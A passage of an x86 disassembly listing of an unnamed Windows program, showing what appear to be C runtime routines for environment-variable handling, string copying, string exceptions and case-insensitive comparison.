		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25E0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2892210h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 267039Dh
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
